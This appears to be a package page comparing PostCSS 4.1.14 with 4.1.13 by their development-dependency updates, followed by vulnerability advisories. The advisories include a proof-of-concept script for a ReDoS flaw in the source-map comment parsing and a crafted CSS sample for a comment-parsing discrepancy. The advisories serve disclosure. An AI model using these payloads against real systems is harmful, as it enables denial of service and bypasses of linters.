PostCSS version 4.1.14 represents a minor update to the popular CSS transformation tool, building upon version 4.1.13. Both versions, designed for developers seeking to enhance their CSS workflows with JavaScript plugins, share core dependencies like js-base64, source-map, and es6-promise, ensuring consistent functionality for encoding, source map generation, and promise handling. The primary distinctions between the two releases lie in the development dependencies, indicating adjustments and improvements in the tooling used for building and testing the package.
Notably, babel has been updated from version 5.6.4 to 5.6.14, sinon from 1.15.3 to 1.15.4, yaspeller from 2.4.0 to 2.5.0, and gulp-eslint from 0.14.0 to 0.15.0. These upgrades suggest refinements in JavaScript transpilation, mocking/stubbing capabilities for testing, spell-checking for documentation or code, and linting rules to maintain code quality. While these changes may not directly impact end-users implementing PostCSS plugins, they contribute to a more robust and reliable development environment. The bump in gulp-eslint is particularly interesting, hinting at stricter code style enforcement within the PostCSS project itself. The newer release was published on July 4th 2015 almost 2 weeks after the previous one. Developers should review corresponding changelogs of these updated tools for specific feature additions or behavior modifications though most of these are just minor updates.
All the vulnerabilities related to the version 4.1.14 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.